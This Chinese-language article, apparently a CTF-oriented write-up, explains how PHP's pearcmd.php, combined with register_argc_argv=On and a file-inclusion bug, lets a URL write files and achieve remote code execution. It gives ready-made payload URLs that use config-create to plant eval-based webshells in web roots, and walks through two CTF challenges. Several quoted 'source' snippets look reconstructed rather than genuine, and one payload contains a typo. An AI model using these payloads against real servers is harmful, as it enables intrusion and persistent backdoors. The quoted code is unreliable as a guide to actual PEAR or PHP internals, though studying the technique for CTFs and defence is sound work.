PEAR组件在Docker生态中的无文件RCE
传统文件包含漏洞利用通常依赖攻击者上传恶意文件,或利用服务端临时文件(如session.upload_progress)实现代码执行。但PHP的Pear组件却打破了这一限制:当服务器满足register_argc_argv=On配置时,攻击者可通过精心构造的URL参数,将Web请求伪装成命令行参数,直接操纵pearcmd.php执行高危操作
前言
传统文件包含漏洞利用通常依赖攻击者上传恶意文件,或利用服务端临时文件(如session.upload_progress)实现代码执行。但PHP的Pear组件却打破了这一限制:当服务器满足register_argc_argv=On配置时,攻击者可通过精心构造的URL参数,将Web请求伪装成命令行参数,直接操纵pearcmd.php执行高危操作
基础定位与功能概述
PEAR(PHP Extension and Application Repository)是PHP官方维护的代码仓库系统,pearcmd.php是该生态的核心控制脚本(路径:/usr/local/lib/php/pearcmd.php),承担着PHP扩展和代码包的全生命周期管理职责。其作用可类比Linux系统中的apt或yum包管理器,但专注于PHP生态。
核心功能矩阵
功能类型 | 典型命令 | 作用描述 |
包管理 | install | 安装本地/远程代码包(支持.tgz格式) |
uninstall | 卸载已安装包 | |
依赖管理 | package | 创建包含依赖关系的包定义文件 |
配置管理 | config-create | 生成PEAR全局配置文件 |
config-set | 修改运行时配置参数 | |
仓库管理 | channel-add | 添加第三方代码仓库源 |
信息查询 | list | 显示已安装包列表 |
info | 查看指定包元信息 |
代码定位示例
// pearcmd.php 入口结构
if (php_sapi_name() == 'cli') {
PEAR_Command::setFrontendType('CLI');
} else {
PEAR_Command::setFrontendType('HTTP'); // 非CLI环境特殊处理
}
$all_commands = PEAR_Command::getCommands(); // 加载所有可用命令代码架构深度解析
参数解析机制
通过Console_Getopt::readPHPArgv()方法实现多环境参数适配,核心逻辑:
public static function readPHPArgv() {
global $argv;
if (!is_array($argv)) {
if (isset($_SERVER['argv'])) { // Web环境参数入口
return $_SERVER['argv'];
}
return PEAR::raiseError("参数读取失败");
}
return $argv; // CLI原生参数
}参数注入示例:访问URL http://target/?+config-create+/<?phpinfo()?>+/tmp/shell.php 将生成:
$_SERVER['argv'] = [
'pearcmd.php',
'config-create',
'/<?phpinfo()?>',
'/tmp/shell.php'
];命令分派流程
// 命令执行核心代码片段
$command = PEAR_Command::factory($cmd, $config);
$command->run($cmd, $options, $params);执行流程图解:
用户输入 → 参数解析 → 命令匹配 → 加载对应命令类 → 执行run()方法 → 输出结果核心功能技术实现
代码包安装流程
以pear install http://example.com/package.tgz为例:
- 依赖解析:读取package.xml中的<deps>节点
- 文件下载:使用PEAR_Downloader类处理远程资源
- 本地校验:检查文件MD5与<filelist>定义是否匹配
- 文件部署:将文件复制到php_dir配置路径(默认/usr/local/lib/php)
- 注册记录:更新package.xml到php_dir/.registry
配置管理模块
config-create命令的实现代码节选:
public function run($command, $options, $params) {
if (count($params) < 2) {
return PEAR::raiseError("需要两个参数:文件内容和保存路径");
}
$content = $params[0];
$savePath = $params[1];
if (!file_put_contents($savePath, $content)) {
return PEAR::raiseError("文件写入失败");
}
$this->_config->store($savePath); // 更新全局配置
}参数验证逻辑:第一个参数必须为绝对路径格式(以/开头),否则抛出异常。
典型应用场景
场景:开发者安装邮件处理库
pear channel-discover pear.swiftmailer.org
pear install swift/swift执行结果:
下载 swift-5.4.5.tgz (1.2MB)
...解压中...
文件写入 /usr/local/lib/php/Swift/
成功安装 swift-5.4.5攻击利用场景
漏洞前提:
- 存在文件包含漏洞:include($_GET['file']);
- register_argc_argv=On
config-create 命令技术详解
config-create 是 PEAR(PHP Extension and Application Repository)工具链中的核心命令,用于生成 PEAR 的全局配置文件。
关键代码段
public function doConfigCreate($command, $options, $params) {
// 参数校验
if (count($params) < 2) {
return $this->raiseError("必须提供两个参数:配置内容和保存路径");
}
$content = $params[0];
$savePath = $params[1];
// 路径合法性检查
if (!preg_match('/^\//', $savePath)) {
return $this->raiseError("路径必须为绝对路径");
}
// 写入文件
if (!file_put_contents($savePath, $content)) {
return $this->raiseError("文件写入失败: $savePath");
}
$this->_config->store($savePath);
return true;
}具体表现 | 漏洞成因 |
直接写入用户输入的$content | 未做PHP代码检测 |
仅检查是否以/开头 | 未限制路径归属目录 |
使用Web进程权限写入 | 未校验目标目录所有权 |
漏洞利用条件
graph LR
A[文件包含漏洞] --> B{PEAR组件存在}
B --> C[register_argc_argv=On]
C --> D[可写目录存在]
D --> E((攻击成功))攻击Payload:
http://victim.com/?file=pearcmd.php&+-config-create+/<?=eval($_POST['c']);?>+/var/www/html/backdoor.php执行结果:
- 创建/var/www/html/backdoor.php
- 文件内容包含WebShell代码
- 攻击者可通过POST执行任意命令
漏洞背景与技术原理
特殊环境下的攻击面拓展
在传统文件包含漏洞利用中,攻击者通常依赖session.upload_progress、phpinfo泄露临时文件路径等手法。但在本场景中存在以下特殊限制:
- 文件后缀白名单限制仅允许包含.php文件
- 服务器环境为Docker容器化部署
- PHP配置register_argc_argv=On
这些限制促使我们寻找新的攻击路径。通过研究PHP核心组件发现,Docker默认安装的pearcmd.php组件(路径:/usr/local/lib/php/pearcmd.php)与特定PHP配置的结合,可突破传统防御机制。
核心组件交互机制
// pearcmd.php核心参数处理流程
$argv = Console_Getopt::readPHPArgv();
if (php_sapi_name() != 'cli') {
// CGI模式下的参数修正逻辑
unset($argv[1]);
}当PHP以CGI模式运行时,Console_Getopt::readPHPArgv()通过$_SERVER['argv']获取参数。而PHP源码中php_build_argv函数的特殊处理逻辑,使得URL的query_string被解析为命令行参数:
// PHP源码片段(main/php_variables.c)
void php_build_argv(char *query_string, zval *track_vars_array)
{
zval arr;
array_init(&arr);
char *p = query_string;
while (p) {
char *arg = php_strtok_r(&p, "+", &strtok_buf); // 以+号分割参数
if (arg) {
add_next_index_string(&arr, arg);
}
}
zend_hash_str_update(Z_ARRVAL_P(track_vars_array), "argv", sizeof("argv")-1, &arr);
}该代码揭示了关键机制:URL中的+符号会被解析为参数分隔符,这与传统Web参数传递方式存在本质差异。
漏洞利用条件深度解析
环境依赖矩阵
条件项 | 必要性 | 典型值示例 | 检测方法 |
PHP版本 | 必要 | ≤7.4(Docker默认环境) | php -v |
register_argc_argv | 必要 | On | phpinfo() 中查看 |
Pear组件安装 | 必要 | /usr/local/lib/php/pear | file_exists() 路径检测 |
文件包含入口 | 必要 | include($_GET['file']) | 代码审计 |
容器化环境 | 非必要 | Docker镜像 | /.dockerenv 文件存在性检测 |
参数注入原理
当访问包含特殊构造的URL时:
http://target/?file=pearcmd.php&+config-create+/<?phpinfo();?>+/tmp/shell.php经过PHP核心处理流程:
- query_string被解析为file=pearcmd.php&+config-create...
- php_build_argv将+转换为参数分隔符,生成:
$_SERVER['argv'] = [
'pearcmd.php',
'config-create',
'/<?phpinfo();?>',
'/tmp/shell.php'
];- pearcmd.php将这些参数作为命令行指令执行
案例
了解一下在web下register_argc_argv接受参数的格式
<?php
var_dump($GLOBALS);
var_dump($_SERVER['argv']);传入http://192.168.1.112:18089/?file=1=1&2=2+3=3
在开启regiseter_argc_argv时,argc,$argv两个变量
![]()
可以看到 外部参数的接收是使用+作为分隔符 而不是&
那么对于payload,我们不能使用hackbar或浏览器来发送请求,因为它们会将字符urlencode
使用burpsuite来发包,包含pearcmd.php,用&向其传递参数,用+作为分隔符传递外部参数
[NSSRound#8 Basic]MyPage


题目可以进行文件包含,现在利用pearcmd来获取shell


元旦水友赛
<?php
function waf($path){
$path = str_replace(".","",$path);
return preg_match("/^[a-z]+/",$path);
}
if(waf($_POST[1])){
include "file://".$_POST[1];
}原句是:?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[2]);>+/var/www/html/a.php
pear工具里有一个命令叫:config-create,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中
核心文件路径 | /usr/local/lib/php/pearcmd.php | PEAR组件的默认安装路径(Docker环境强制存在) |
命令触发参数 | &+config-create+/ | &:URL参数分隔符 |
注入载荷内容 | <?=eval($_POST[2]);?> | 写马 |
目标写入路径 | /var/www/html/a.php | 路径 |

成功rce
